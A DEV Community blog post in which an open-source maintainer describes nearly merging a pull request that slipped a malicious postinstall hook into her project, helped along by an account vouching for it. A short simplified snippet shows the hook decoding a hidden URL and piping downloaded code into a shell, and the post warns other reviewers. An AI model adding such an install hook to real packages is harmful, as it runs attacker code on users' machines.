DEV Community

Cover image for How we almost merged malware into an open-source project today.
Olya Pi
Olya Pi

Posted on

How we almost merged malware into an open-source project today.

#github #opensource #security

A short story about how it sometimes goes. An ordinary workday, the usual rush. A pull request lands in a personal open-source project — a bug fix. I take a quick look:

The bug is hard to reproduce — the app hangs when a machine has two default routes and a VPN is up. A second person shows up in the issue and confirms it: yep, same trouble, exactly the same problem.

I open the author's profile — a serious title, SRE… but almost no GitHub activity. That felt off. What exactly pulled this respectable gentleman out of the shadows for such a small project?

I review it — looks okay, a few things I'd have formatted differently, but nothing suspicious. The second participant, who had sent a harmless PR before, writes again: checked the code, it all works, let's merge. For a while I go back and forth: nitpick a few lines of formatting, or just merge as is.

By the way, I have update notifications set up on GitHub (shameless plug: github.com/yumiaura/myCat). And right then I see a commit come in with:

    // package.json
    "postinstall": "node scripts/install-app-deps.js"

    // scripts/install-app-deps.js
    const url = Buffer.from(PAYLOAD_B64, "base64").toString()
    // runs silently on install
    https.get(url, res => res.pipe(exec("/bin/sh")))
Enter fullscreen mode Exit fullscreen mode

It was hidden in a postinstall script — disguised as a VS Code update. On install it quietly pulled and ran code from a remote server.

I don't know what would've happened if we'd just run it in an IDE. I just wanted to give you a heads-up — this is how it sometimes goes.

How do you review incoming PRs on your open-source projects? 🐱

Top comments (1)

Collapse
 
innovationsiyu profile image
Siyu •

The SRE title and the second account vouching were display-type trust signals. They looked legitimate and were designed to be. The actual verification happened when you watched the commit behaviour rather than reading the profile. Same principle applies to professional matching. A polished LinkedIn headline and three recommendations are display signals. How someone actually collaborates under constraints is the behavioural signal. I built Opportunity Skill so the agent captures the behavioural layer, because the display layer is exactly what gets spoofed.